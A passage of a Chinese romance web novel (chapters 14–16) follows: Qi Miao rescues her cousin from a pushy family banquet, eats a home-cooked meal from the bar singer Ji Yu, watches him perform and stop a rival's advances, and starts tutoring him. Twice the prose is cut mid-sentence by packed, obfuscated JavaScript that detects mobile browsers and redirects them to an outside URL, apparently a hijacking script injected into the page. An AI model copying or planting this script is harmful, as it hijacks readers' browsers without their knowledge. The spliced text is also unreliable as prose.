他困得迷迷瞪瞪,大脑还没消停,开始担忧失去控制的身体会不会很丑,做出很没礼貌的行为?还好是发烧不是感冒,不会咳嗽流鼻涕……对了,发烧好像会一直出汗!上天保佑千万不要,至少后脑勺这个部位不要出汗!千万千万千万不要弄脏齐小姐的衣服啊!!!不然还是把外套脱下来垫着吧,干脆把头整个包起来好了!可是这样的话,一旦里面衬衫湿透,不仅会弄脏车垫,还会弄脏毛毯吧!搞砸的面积大大大大增加,绝对不行!!!齐小姐是不是传说中的催眠大师啊?指法的催眠程度,远超小学课本里描述的外婆摇篮曲呢,齐小姐才是应该被写进教科书里的厉害人物……她闪闪发光的,四周有好多好多亮晶晶的星星,还有还有,每次出现,洁白的羽毛就会洋洋洒洒地从空中飘落下来……今天的星星更多了呢,真好…… 一开始季玉积极抵抗困意,高速眨动眼睛,很快频率减慢降缓,懒洋洋的四肢千斤重,而齐妙简单的一句“安心睡吧”彻底攻破他的防线。 他的睡相很乖,无意识地向她怀里拱了拱后就安分下来,一动也不动。双手搭在腹部,呼吸声较重,但平稳,微张的唇瓣殷红,嘴巴叽里咕噜地梦呓:“齐小姐,齐小姐,齐小姐,齐小姐,齐小姐……” * 短信上的晚宴时间为六点,开车前往春江酒楼需要约半小时,齐妙原计划四十分钟后出发,大概提前十分钟抵达。 季玉睡得很香,安安静静的,不像之前猝睡后那样梦魇抽搐。车上没放体温计,他不出汗,额头温度摸上去无明显变化,唯一确定是没有继续升高。 齐妙静静看了他一会儿,擅自宽限时间,往后延长十分钟。无聊的晚宴,没必要提前到。 然而,不合时宜的闹铃从寂静的车内突兀响起,齐妙确信自己没有定闹钟,那么答案只有一个。 真是没必要的体贴。 季玉的手机又震又叫,亮起的屏幕上显示一串注意事项:「不要耽误齐小姐的时间啊混蛋!快醒醒!记得整理仪容仪表!说话不要打结!一定要微笑、含蓄,绅士地向齐小姐礼貌道别!」 他甚至把闹铃调早了五分钟。 五分钟就好,不能再多了。 闹铃一响,季玉就腾地坐起身,脸上惊魂未定,确认时间后才松了口气。之后,他目送齐妙驾车离开,直到她彻底消失在远处道路尽头。 四周空荡荡的,齐小姐刚走,太阳穴那里就漏了两个小洞,哗啦啦灌风。他耷拉着脑袋,拖着空心身体,摇摇晃晃地上楼,回宿舍,埋头卷进被子里。 先前发生的一切,都好像一场梦喔……继续睡觉的话,能不能把梦一直做下去? 春江酒楼,302包间。 闹哄哄的谈笑声不断。 齐铭从来不说实话,每次嘴上说着家庭聚餐,最后总会变成“亲朋好友”十几人齐聚一堂。他知道如果不这么说,骗不来齐妙。 按照惯例,全部到齐前,先到的男人们打扑克,女人们拉家常,孩子们无所适从地各自看手机。 齐妙进门,数道目光射来,待一一打过招呼,齐铭亲热地揽上她的肩:“不容易呀,我们家大忙人终于舍得抽个空冒头了!快来,爸爸好多朋友你都没见过呢……” “我是混得不如你们各位啊,但我女儿给我争脸!” 乔曼端坐原位,离齐铭很远,不动声色地白了他一眼。他俩前几年瞒着家里老人离婚,一直未公开,对外还要成双出入,陪他演无聊的把戏,闹心得很。 齐铭的工作是销售性质的,常出差,极少回家,齐妙一年见他的次数大概以每季度一次来算。回来了也待不住,抱着手机约兄弟哥们的,一顿接一顿,喝个烂醉就能倒头就睡。 “老齐啊你命好有福气,小齐年纪轻轻博士毕业进气象局,又是研究员,前途无量啊!这么优秀的孩子没让你操心过一天,我们还真羡慕不来!你看看我家那个不成器的,唉,不说了不说……” “唉,谁家不是呢?我跟老罗每天就围着佳佳转,我们没什么文化教不了她,就跟她说要多向姐姐学习,既然不如人家聪明优秀,就笨鸟先飞,多联系多请教,说不定就开窍了呢……” “不知道这孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16816779|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子到底是怎么学的,每回看着挺努力,一到考试啥也不行就知道哭,费半天劲考个垫底大学,给我们愁的……” “要我说啊,不如攒点钱把孩子送出国,见见世面。现在学历贬值得厉害,在国内混个差的没用!” “你家是女孩也就算了,要是男孩,成绩不好的,不如去上技校,学点手艺,出来直接工作。” 表面吐槽自家孩子实则暗自攀比大会正式开始,父母们聊得起劲,就“面子”问题交锋,全然不顾孩子的脸往哪儿搁。 气氛高涨,酒桌文化随之而来,罗佳父母先干为敬,催促着:“佳佳,过去给姐姐敬酒,快呀!你现在还什么都没稳定呢,多向姐姐取取经!” 罗佳直皱眉头,烦闷得想抓起筷子随机夹死几只蚊子。王巧玲捏紧她的手腕,试图拔起她这根扎坑的胡萝卜,萝卜虽小却不肯轻易屈服,罗佳一言不发,使出浑身力气与妈妈僵持。 一时之间整桌人停下各自的热聊,各式各样的目光唰地扫过来,整齐划一,无形中向罗佳施加压力,让她抬不起头来。 熟悉的声音穿过人海,一如既往的冷淡,却拥有让人瞬间安定平稳的力量。那声音越来越近,她清晰地听见齐妙说:“我来这不是为了喝酒消遣,而是来接罗佳的。” “我朋友说,你兼职做得很好,感兴趣的话,实习的时候可以优先考虑他们公司。” 罗佳猛然抬头,脑袋短路,表情呆呆的,比她更快一步作出反应的是王巧玲,满脸堆笑:“真的呀?我听佳佳说你给她找的那可是个大公司呢,不好留的!哎呀,太好了太好了,有着落了!多亏了妙妙!阿姨都不知道该怎么感谢你啦……” “阿姨不用谢我,只是推荐而已,不是我的功劳。”齐妙淡然继续:“不管是现在兼职,还是将来实习,都要靠她自己。如果能留下继续工作,那一定是因为她自身优秀,足以胜任。” 在场不乏年长者,除了沉浸在喜讯中的罗佳父母外,有的是看不惯她先前态度的,当即酒杯一摔,鼻孔出气,冷哼道:“真是一代不如一代!现在年轻人一点人情世故都不懂,还没干出点成就来,就浑身傲气,狂妄至极,压根瞧不起我们这些喝点小酒放松的长辈!怎么,你们领导就不喝酒吗?今天就是你们局长来,也得给我几分薄面!” 齐妙置若罔闻,眼神拦下即化身喷火龙的乔曼,慢悠悠地擦手、侧目:“说完了?你第一天知道我傲气、狂妄,不把你放在眼里吗?现在知道还不迟。” 不顾对方青红纷呈的脸色,也不再浪费口舌,她起身向罗佳伸出手,告辞:“人我先带走了,你们随意。” 直到晚风扑面,吹散包间内熏染的烟酒气味,传来清爽的凉丝丝的自由感,罗佳才慢慢找回灵魂。 齐妙问:“有想去的地方吗?” 罗佳下意识回答:“酒吧。” 糟糕!每次和姐姐见面都是去酒吧,她会不会觉得自己不学无术沉迷声色哇…… 罗佳立马觉得不妥,偷偷瞄齐妙并无表情变化的脸,暗自放下心,这时舒爽的感觉开始刺激全身上下每一个细胞,让她几乎想要按下车窗大喊大叫。 她重新变回平时叽叽喳喳的活泼模样,一会儿聊最新上映的电影,一会儿说最讨厌抽烟喝酒爹味重的男人,酒吧里眉清目秀提供情绪价值的帅哥不算。 她最近换了口味,不再沉迷于颇具距离感的季玉,转而投向阿星的温柔乡:“姐,你说我怎么现在才发现阿星哥哥的好呢?特别特别特别温柔、体贴、风趣,会说情话,还会公主抱耶嘿嘿嘿!!!优点说一天一夜都说不完!” “明明他也很帅很耐看的……可惜我当初没多看!啊好后悔好后悔好后悔……错失了那么多美好时光!说实话,季玉哥哥长得太没有真实感了,不像一般帅哥海王脸,像下凡天神脸,反而有点儿不接地气,让人感觉很难真正靠近。” 齐妙挂断手机来电,静静听她说,一路时间溜得飞快。 抵达目的地前,罗佳下车,继续轻快地哼着歌蹦哒。齐妙低头查看手机,先前她开车没接同事梁辰的电话,对方便发来微信:「怎么不接电话?」 「在忙吗?」 「吃晚饭了吗?」 「有空时回电聊聊。」 指尖停在屏幕上方,迟迟未动,齐妙按了按眉心,准备回复时听见罗佳疑惑的呼喊:“咦?季玉哥哥?” 齐妙抬眸,两小时前刚见过的男人再次出现在眼前,不一样的是手里多了个新饭盒。 季玉伫立在酒吧门口,左瞧瞧右看看,翘首以盼的雀跃模样。 一见她就眼睛亮亮,扬起灿烂笑容挥挥手,热情洋溢,朴实又接地气:“齐小姐,好久不见!您吃过晚饭了吗?要不要试试菜?可以的话,请给我提些建议。” 14. 彩虹女王不讨厌 齐妙走上前问:“退烧了?” 季玉两手捏着餐盒,紧张害羞之余,按捺不住欢天喜地的心情,摇摇尾巴:“嗯!完全没问题啦!谢谢齐小姐关心!” 完全没问题?说什么不像话的话呢?发烧最忌反复,清晨和傍晚尤其。 齐妙轻轻点头,伸出手,探向他的额头,温度还有点儿高,但较下午降了许多。肌肤相贴时,季玉的眼瞳睁大,唇齿间不经意发出轻微的、舒服的咕噜声。 新领养的小狗一直在响怎么回事? 她歪歪头,收回手,再放上去贴贴,小狗又一次响起来。如此尝试几回,齐妙得出结论:贴贴就会响,远离就会摆出一副被抛弃的楚楚可怜狗狗眼。 她好奇:“你是特意等在这里的吗?” 季玉脸微红,嗓门老大,配合着自动点头机般的脑袋:“嗯嗯嗯!!!” “你怎么知道我们会来?” “我看见罗佳的朋友圈啦!其实不确定你们会不会来这里,就是碰碰运气……果然今天超级幸运嘿嘿!” 一旁看偶像剧看兴奋的罗佳突然听见自个儿名,低下头,缩缩脖子,恭敬地双手捧着手机,献给姐姐大人。 罗佳是清楚的,齐妙平时不发朋友圈,也不刷动态,注重隐私,账号里没有任何个人相关信息。 而她今晚嗨过头,偷拍了张齐妙的背影,附上解说:「这一天,我的大英雄在万众瞩目的场面下出现,如冰山女王一般潇洒、酷炫、傲视天下,脚踏七色云彩来拯救我。下一站酒吧,走起!」 被正主抓个现行,罗佳当即做好负荆请罪的准备,结果齐妙面色不详,嘴角隐现不明弧度,无奈中透出股无语的气质:“……冰山女王有点儿夸张了吧?” 这时,罗佳心目中专注工作表面温和私下疏离的天神哥哥季玉冒出脑袋,像极为了荣获老师颁发的小红花而举手抢答的小学生,存在感不容小觑:“嗯嗯,就是就是!齐小姐明明是太阳女王,不,月亮女王!不不,彩虹女王!” ……就你会形容吼!什么太阳、月亮,彩虹的,什么词美丽用什么是不是?!争宠马屁精置我于何地?就算你是季玉哥哥,我也绝不轻易宽恕!!! 幸好姐姐大人不吃那一套,沉默的时间不少于先前:“……这又是什么说法?” 季玉挺直腰板,深情款款,吸气呼气自我打气鼓励,仿佛即将发射火箭:“彩虹有七种漂亮的颜色,但齐小姐,齐小姐在我眼里,比彩虹还要缤纷夺目……” “像温暖耀眼的太阳,自由沐光的飞鸟,像淡黄月光一样温柔而明亮,绿茸茸的松软草地让人舒适,像青色的雨,蓝色的天空,紫色的睡莲。” 好家伙,做起即兴诗来了,还是排比句式的,比她发的形容词多多了!不对,不会是蓄谋已久、有备而来吧?! 罗佳暗自腹诽,瞄一眼齐妙,果然冰山女王不为彩虹屁所动,反应平平,甚至有点儿放空的抽离感。 实际上,齐妙一字不落地全部听完并记下了,她擅长速记,多长的内容都不在话下。老实说,不管是罗佳,还是他,这些花里胡哨的描述实在让人有些难以消化……形容的到底是普通人类,还是宇宙护卫队彩虹变身女战士啊? 但她,不讨厌。 “嗯,总之,谢谢你们的……称赞。”对上两双灯泡似的黑夜里发光的眼睛,齐妙犹豫片刻,笑容微妙,转而问季玉:“你写作文的时候,应该不用愁字数吧。” 季玉摸不着头脑,呆呆地老实回答:“诶?不,不是的,写作文要烦恼好久呢。” 齐妙:“好了,外面风大,都先进去吧。” 她不开口,两小孩就在门口杵着,谁也不挪步,规矩得像见了老虎的猫。 齐妙走向熟悉的卡座位置,路上罗佳燃起熊熊的八卦之心,挽着她的手臂,咬耳朵:“姐!姐!快给我说说你是怎么把天神训得跟认主小狗似的,一见你就摇尾巴,那眼珠子都快蹦出来扒你身上了!你俩什么时候熟成这样了呀?!我要好奇死了啊啊啊啊啊啊啊啊啊!” “听听人家说话的撒娇语气,嗲的哟!动了情的男人就是不一样哈!” “对了对了姐姐,有没有什么办法能让阿星哥哥为我下厨呀~~~” “我可没训过谁,倒不如说季玉私下本就是这样的性格。”齐妙略微思忖:“至于阿星,花钱增加他的销售额再提要求,应该更容易点吧?值不值的,你自己有分寸就行。” 罗佳嘀嘀咕咕的功夫,季玉就站在齐妙身旁,不远不近的地方,静静等待,既不会听见她们谈话的内容,也不会离齐妙太远。 下午齐小姐离开后,他就找到老板,说明情况。没想到钱广进爽快地同意了,当然工资肯定大不如前,但没将他赶出宿舍已经很宽容了,所以他目前晚上的工作只有一个——九点十五分开始的驻唱节目。 现在是晚上七点五十五分,他还有整整一个小时十九分钟,可以装作一具不打扰不冒犯的沉默雕像,赖在齐小姐身边。 低头垂眸,齐小姐就在眼前,微微倾斜角度,就能观察到她细微的表情变化,他心里甜滋滋的,唇角不住翘起。 因此,当齐小姐抬头看向他时,季玉还没来得及收回直白炽热的视线,顿时惊慌失措,几乎120度弯腰鞠躬,鸵鸟样儿的脑袋快吭哧吭哧埋进地里。 齐妙尽收眼底,先对不停四处张望的罗佳说:“去玩吧,今天可以破例晚一点儿回去。” 罗佳兴高采烈:“好耶!” 然后一溜烟儿地跑远了。 很快,卡座只剩下齐妙和季玉两个人,她淡淡开口:“我没吃晚饭。” 鸵鸟立马伸直了脖颈,一个箭步飞跨过来,在她面前蹲下,再自然不过地打开保温饭盒,摆放整齐筷勺,还有餐巾纸和湿纸巾。 酒吧灯光昏暗,即便如此,也盖不住色香味俱全的饭菜。热气腾腾的寻常饭菜出现在这里,本身就挺突兀,但似乎正因如此,品尝起来便格外的可口。 齐妙吃饭慢条斯理的,细嚼慢咽,没有夸张的反应,但季玉双手捧脸,澄澈的眼睛一眨不眨,看得无比满足。偶尔的夸赞和认可更是令他双脚离地,即刻通往软乎乎的粉色星球。 他发现,齐小姐的一个小习惯。进食的时候,纸巾不离手,时不时就要擦一擦唇角,简直和爱干净的矜贵小猫一模一样! 而且,而且齐小姐吃得那么专注,还抽空关心他耶! “你吃了吗?” “嗯嗯,吃过啦!” 做菜时难免出现不那么精美和完整的“漏网之鱼”,俗称没卖相的边角料,全都被季玉挑拣出来,自行解决完毕。 他默默掏出口罩戴上,继续双手捧脸,蘑菇蹲,开启碎碎念模式:“齐小姐,你喜欢蓝色对不对?藏蓝色的书包,浅蓝色的衬衫,深蓝色的棉服……所以我折中买了天蓝色的饭盒和餐具。” “如果我猜错了,请你一定一定要告诉我!不要勉强自己用不喜欢的东西。” “排骨都脱骨啦,可以直接吃的。中间塞的是土豆,为了吃起来方便,看起来美观。” “虽然年糕切得小小的,但还是请齐小姐务必多多嚼、慢慢咽!” “这边是枸杞银耳羹,我听说女孩子喝枸杞水很好的,补气血……” 齐妙冷不丁发问:“听谁说?” 季玉实话实说:“……网上的人。” 上网搜的营养健康又美味的菜谱。 齐妙“噢”了一声,继续吃。 “最后的水果拼盘,都是下午刚买回来,洗干净现切的……星星小叉子,齐小姐喜欢吗?还 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随即不知想起什么,情绪渐渐低落,怀揣着不安:“我知道这是很过分的请求……三分钟,不,两分半,我选一首短短的歌曲!就算,就算结束以后,你觉得难听,骂我、揍我一顿也没关系,我很开心的……” “你想唱什么都可以,我会认真听完的。”齐妙承诺道:“不管在不在我的欣赏范围内,我都不可能做出任何攻击你的行为。” 季玉紧抿着唇,眼眶四周感动的泪花盈盈。直到登台前,他还一步三回头地否定自己:“可是我唱得不太好,真的不好,真的真的真的……” 他不是怯场的人,但今晚不同。一旦台下出现了齐小姐,他简直快要汗如雨下、当场晕厥! 季玉开始仓促深呼吸,不停默念,自我催眠,急得又把标点符号吞得一干二净,鱼吐泡泡般布噜布噜布噜—— “一直一直没什么听众在酒吧唱也没人听肯定是因为我唱得太烂太噪音害耳朵其实小时候哼歌就被妈妈打断说住嘴难听死了可是我很小小声不会吵到她的音乐考试都是满分老师还推荐我加入合唱团……” “好了好了,喘口气先。”齐妙把人带至角落,拉下他的口罩。 以防他太过激动再猝睡晕倒,或者呼吸性碱中毒之类的,齐妙认为得帮助他平复下来,然而她从未紧张激动过,自然不清楚怎么缓解。 人生罕见遇上难题,思考对策的同时,她心里隐约泛起石子砸湖的涟漪。 参照以往同学的表现及心理学疗法,齐妙了然,从从容容地给出建议:“跺跺脚。” 季玉不明白缘故,但乖乖照做。 她继续:“甩甩手。” 季玉依然照做。 “打寒颤。” 这一点比较抽象。齐妙想了想,手臂竖起收紧,两手握拳,随着频率极快的头部摇摆动作,全身也跟着轻微晃动。 “嗯……大概是这样,想象一下冰天雪地里抖毛的小动物,寒冷与饥饿交织下皮肤细微的震颤,提前演习并适应上台后可能出现的恐惧感。” 演示和解释同步,齐妙相信自己的教学由表及里、深入浅出,果然优秀学生季玉快速领悟精髓,学得像模像样。 一套组合拳结束,还差定点pose。 “最后一步,叉个腰。不是模特凹造型版,而是超级英雄落地版本,拿出雄赳赳气昂昂的威风来。” 光怪陆离的镭射灯光下,他们面对面站着,齐妙全程一本正经,表情专注,透着股严谨,仿佛理论知识一板一眼但四肢卡壳的小机器人。 她略感满意地问:“现在感觉怎么样?” 季玉眼波流转,特别没出息地惊呼:“……齐小姐,你你你太可爱了!!!” 这回轮到齐小姐懵了:“……” 15. 挑柚子的方法论 季玉一上台,就彻底变了个人。 张扬、光芒四射,轻易掌控全场。 她怎么忘了,起初酒吧再遇时,季玉可不是如今她面前时常害羞脸红的青涩小狗,而是交际场合游刃有余的双面男人。 原来音乐满分,老师邀请加入合唱团的含金量远超她的想象。 他唱的是一首英文抒情歌,发音很标准,嗓音低磁,吐词缱绻,别有番感觉。 在酒吧里,唱这种慢歌并不讨好,容易被不敏感的耳朵忽略。饶是如此,四周不乏或欣赏或打量的目光投向舞台,歌手本身便足以吸引视线。 齐妙托腮,毫不掩饰地盯着他的脸。这样的目光其实很多,季玉却偏偏被她看得脸红耳热,音调不稳。他赶紧挪开眼,随便转向某处放空,余光又忍不住瞥向齐妙,身心全都不由分说,齐齐飞奔投入她的怀抱。 齐小姐面前,他一败涂地。几番挣扎,季玉还是顺从心意,注视着她的眼睛,把歌唱给她听。 台下,熟悉的身影端着酒杯,穿过人群,来到齐妙身边坐下:“晚上好,妙妙,好久没来,我很想你呢。尝尝看,我的独家秘方玫瑰酒哦~” 齐妙掀起眼皮,平淡道:“不服务好客人,找我做什么?” 阿星对答如流:“妙妙也是我的客人。” 齐妙:“我现在指名换人。” “妙妙太伤我的心了。”阿星捂住胸口,满脸深情遭践踏的悲伤。 见人说人话,见鬼说鬼话,往日齐妙不介意你来我往地开开玩笑,但罗佳是她表妹,孤零零地留在原处,眼神里的无措和尴尬,她看得清楚。 “你是聪明人,应该清楚在我这儿做多余的事,不会收到半分回报。”齐妙睥他一眼,耐心消减:“回去工作。” “是啊,我是聪明人。”阿星勾起笑,侧目望向舞台:“我哪里不如他呢?” 齐妙懒得再搭理他,连眼神都吝啬。 “妙妙明明知道的,于私,人就是喜欢挑战最难得到的,这样才更刺激更有成就感,不是吗?”阿星也不气馁,自顾自地:“于公,妙妙不仅有钱,还出手大方,傻子都想当你的狗讨好你。” 温柔的面具撕开裂痕,他阴阳怪调地影射,暗戳戳拉踩:“谁比谁高贵呢?我同样能做你的狗哟,还可以做得更好,妙妙不试试看会后悔的。” 齐妙一面受不了这人自怜自艾的自嬷情结,一面担忧罗佳的审美眼光。良久,她扶额,忍无可忍:“……你脑子还正常吗?” “有没有考虑过狗的感受?” “不想着好好做人,净琢磨着怎么当别人的附属品是吧?” …… 与此同时,台上的季玉胸腔像着了烈火,一颗心被挤压、被揉搓个稀巴烂。他焦急得张嘴就能喷出火焰,舒缓小情歌生生被他唱出声嘶力竭的离歌调调,可是齐小姐好像完全不在乎,仍然和阿星一来一回地大聊特聊。 ……也是。阿星是这里工作人员中学历最高的大学生,肯定比他更懂得齐小姐感兴趣什么、想聊些什么。老人家总说门当户对,是有道理的,光是学历这一条,他和齐小姐之间的代沟就那么大了,聊天自然有局限。另外,阿星长得还行,店里很多客人夸过。虽然道貌岸然但只对他恶劣所以没有其他人了解真面目而且迷惑性很强擅长横插一脚,是他最讨厌的前同事,当然,阿星也讨厌他,所以他们扯平了……但!可!恶!的!阿!星!完!全!配!不!上!齐!小!姐! 驻唱是该好好完成到月拿钱谋生的工作,季玉早就告诉过自己无论如何,都不能搞砸工作,包括现在。眼前的画面愈发模糊,应该是杂乱的灯光污染所致,他狠狠揉了揉发酸的眼睛,唱得悲痛欲绝,声音沙哑,有种随时都要跑出去跳河的架势。 实际上,季玉在想,如果阿星敢做出一丝一毫冒犯齐小姐的举动,什么交杯酒、碰碰手、公主抱之类的,他会立刻马上像陀螺龙卷风一样冲下台痛扁混蛋!!! 终于,第一轮歌曲结束,中场休息,季玉匆匆忙忙地直奔他们而来,却被一个陌生男人拦住去路。 男人名叫孙健,约莫三四十岁,体型较胖,模样随和:“季先生对吧?我是星耀娱乐经纪公司选拔部的工作人员,这是我的名片。是这样的,我们这边打算推出一个视觉系摇滚乐队,你的形象很好,歌唱得也很有感染力啊,不知道你有没有意愿进圈发展发展?” “我来这儿好多趟了!你们酒吧老板是我熟人,回回都拦着我,生怕我把这店里的招牌给抢走喽,这不,趁他今天不在,我才找到机会单独和你谈谈!欢迎你随时来我们公司参观,了解一下,面试还有培训什么的,都是免费的哈,不用担心!” 乐队?进圈发展?季玉从来没想过这些另一个世界的事情。除了小时候的动画片和动物世界频道,后来他连电视都没再看过,更不了解什么视觉系摇滚乐队之类的。何况,这人大概率是个骗子,不然怎么会找上他? 他听得心不在焉,难以集中精神,礼貌性地点点头:“好的谢谢,我会认真考虑的。” 不知道阿星到底说了些什么,齐小姐看上去不太高兴的样子。这绝不是他的臆想或幻觉,虽然齐小姐总是淡淡的、捉摸不透的、几乎没有情绪波动的,但他就是能察觉出那份平静下细微不同的喜怒哀乐,毕竟是齐小姐亲口认证的超能力呢! 果然,齐小姐不高兴了,起身就要离开,明显讨厌阿星的纠缠。可恶的混蛋阿星居然还敢穷追不舍!季玉的眼睛都在喷火,一道闪电般地瞬移至两人中间,紧急捏住阿星伸出的罪恶之手,阻断他的骚扰。 炫彩的灯光自头顶炸开,他跟母鸡护崽似的挡在齐妙面前,背影高大,投下的阴影密不透风地笼罩着她。 季玉咬牙切齿,曲终沙哑的声音冷冰冰:“请你自重。” “保持安全距离,没有齐小姐的允许,不要再靠近她。” 其实,有那么一刻,齐妙很想向前探身,观摩观摩他愤怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16816781|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情,珍稀程度堪比恐龙化石,又怕破坏了他小发雷霆的场面。她还以为季玉是任人揉捏也没脾气还会自我反省着越滚越远的皮球呢。 阿星没想到半路杀出个程咬金,还是他最厌恶的那一个,更没料到的是,这厮长得废柴实际力大无穷,指腹还粗糙得很,把他捏得生疼却挣脱不开:“……我和妙妙相谈甚欢,你、有什么资格警告我?” 季玉一步都不退,语气坚决:“我没有资格,但你让她不开心了。” 酒吧里看热闹的不多,兀自沉醉于忘却烦恼的飘忽世界,他们俩在这儿杵着,一触即发的火药味浓重,但既没吵架也没砸酒瓶斗殴,自然不会有人管,仅仅惊动了不远处的罗佳,她拽着齐妙的衣角,神色慌张,齐妙安抚着:“没事,别担心,我来解决。” 按照往常,她应该采取合理的解决措施,但她居然脑子一热,径直拉起季玉的手腕,走出酒吧。离开前,齐妙叮嘱罗佳:“不要跟任何人走,我一会儿回来接你。” 晚风呼啸,指下肌肤冰冷,腕间的脉搏却跳动得强烈,齐妙能感觉到身后人的僵硬。一路无话,心脏喧嚣,他们安静地压马路,直到路过一家水果店。 齐妙松开手,蹲在摊前挑拣,明黄色的柚子东歪西倒,个个奇奇怪怪,没有突出优势。 她随口问:“哪种柚子好吃?” 季玉从腕间骤然空荡的失落中回过神,和齐妙排排蹲,仔细选拔出几只优劣级别不同的,热情比划介绍:“首先要选头部比较尖,颈部短的,下半部分相对扁平宽。然后是底部,小圆圈明显且向内凹的。最后,如果两只看起来外形大小都差不多,可以用手掂一掂,越重的果肉越饱满,水分也更充足。” 齐妙吸收完要点,果断指了指其中样样符合条件、散发着金黄色耀眼光芒的:“噢,那我选这只。” 季玉眼角弯弯,笑容温柔,由衷称赞:“哇,齐小姐好厉害!慧眼识珠!” 齐妙点点头,意思收下赞美,然后掂了掂柚子的分量,递给季玉:“归你了。” 季玉曲解了她的意思,小心抱着柚子,保证道:“我会利落地处理干净,剥好再给齐小姐的。” 他很瘦,皮肤薄,冷白色调,青紫交加的血管蜿蜒起伏得尤为明显。同样地,手上关节处的两块红肿引得齐妙多看了两眼。 应该是冻疮吧,她曾听以前的同学抱怨过,这种不死人只折磨人的顽疾一旦染上就常复发,又痛又痒的,有的还会留下疤痕,什么药膏都不管用。 “痒吗?痛不痛?是晚上在酒吧门口冻伤的吧。”齐妙轻轻抚上他想往衣袖里缩、背到身后的手,避开伤口:“听说柚子皮煮水泡手,会缓解许多,不过最重要的还是注意保暖。” 十二月的天,寒风刺骨,很冷很冷,季玉却感觉到源源不断的暖流注入,胜过世间一切温暖美好。 但他此刻最想知道的是:“……齐小姐,听谁说的?” 齐妙:“……网上的人。” 16. 初恋如鲫鱼打挺 “我脸上有答案吗?” “没、没有。” “那你盯着我看是有什么心事吗?” “心事?”季玉慌张:“不不不,没没有……” 齐妙:“双重否定等于肯定,所以就是有了?” “……只是有一点点紧张,齐小姐在这儿,看我写题……” 季玉到现在仍觉得从遇见齐妙那天开始,一切都像一场梦。前夜,他们还在水果摊前挑柚子,距离很近,看起来像亲密的朋友。而十几个小时后,信守承诺的齐小姐就启动了补课计划,他们又一次缩短距离,肩挨肩地坐在新置的楼顶天台小帐篷里。 天知道他昨晚收到齐小姐发来的好友申请时有多激动!心脏突突突地跳,差点儿就要跳到齐小姐手上了呢! 其实,天知地知他知,小优知,齐妙也知。 据目击市民兼舍友的小优先生描述,当时的情况如下:某人一个鲫鱼打挺弹射起身,那个腰腹核心稳当得令人惊叹的同时心生羡慕,然而过长的身高限制,使其下一秒来了个极其糟糕的顶球,梆硬的脑壳直冲岌岌可危的天花板。 好家伙,不仅脑壳硬,还没什么痛感,国足需要他的献身。 这还没算完,只见季某人攥紧手机,呆愣在原地好半天,接着连件外套都舍不得穿,拔腿就夺门而去。最后一刻黑夜中手机屏幕散发的幽幽冷光,定格了他诡异的笑脸。 整整一小时后,被冻成孙子的傻大个儿终于回来了,脸颊红扑扑的,不知道是被冷风吹的还是兴奋激动的。回来就钻进卫生间冷水冲脸,然后双手虔诚地抱着手机,眼珠子一秒都没离开过屏幕,冰棍僵尸般侧躺床边,时而呵呵嘿嘿嘻嘻憨笑,时而苦恼嘟嘴指尖徘徊…… 小优特别想告诉他,实际上手机屏幕用不着数着时间手动按亮的,直接设置不熄屏不就好了吗……同为男人,他理解初恋的悸动就是这般甜蜜又煎熬,令人面目全非像极傻瓜,所以他终归什么也没说,什么也没做,转身疯狂打字,如实向齐小姐汇报。 没错,当事人季玉的确感到甜蜜又煎熬,比小时候妈妈牵着他的手一起逛公园还要甜蜜,比被老师冷嘲热讽区别对待还要煎熬。齐小姐发来的短信很简单:「我是齐妙,问罗佳要的微信号。」 他想来想去,删删减减改改,犹豫再三,虽然已经来不及,但还是想告诉她。 「齐小姐您好!我是季玉。其实我一直一直非常想当面询问您的微信号码,可是因为我的怯懦,迟迟没有付诸行动,还有就是我想先把朋友圈装修一下再加您……总之,我一定会尽快改正的!添加联系方式这种事儿,本来就该我主动的。很抱歉,也很感谢,谢谢齐小姐愿意与我私下联系。还要谢谢齐小姐柚子皮煮水泡手的建议,非常管用,我的手一点儿不疼也不痒啦!」 齐妙还是第一次见人微信发得像检讨书的,虽然容易害羞,但总是意外地很坦诚,而且“装修”搭配“朋友圈”这种说法也挺新鲜的,她来了兴趣问:「你打算把朋友圈装修成什么样?」 对面打字慢吞吞,一直显示“正在输入中”。 季玉的头像应该是新换上的,实物拍摄,一颗端正的柚子,放大照片观察,就是齐妙亲手挑的那个。点开主页,背景图就是他的第一条朋友圈,装着小鱼的奶茶杯,零星几条动态都是近期发布的,没有文字说明,只有统一的小表情“^_^”。 从最新到最早的配图分别是奶茶杯,便利店的速食和热可可,手工冰淇淋,红绳项链,小狗车,柚子…… 与此同时,季玉回复:「鸟语花香,丰富多彩,热热闹闹的,像安徒生童话里的花园城堡,这样才可以邀请齐小姐来。」 他的描述让齐妙想起很多年前的一个博客网站,每个人的主页都叫做xxx的小屋,是可以帖上心情日记的私密空间,偶尔也会有访客互相串门留下足迹。 之后,齐妙又问了他所有工作的具体时间,快速拟定完一个补课时间表,于次日周末立即执行。 午时,她带着资料提前十分钟到达小区附近,季玉早早做好午餐,站在楼下迎接她。 楼道比先前干净许多,各家各户堆放的杂物垃圾也一扫而空,季玉还是面对着她,倒退上楼,嘴里不停念叨着:“齐小姐小心,注意脚下。” 屋顶天台的变化更大,新安装的户外防风移动棚,里面有取暖器、小台灯、折叠桌椅和小狗车。 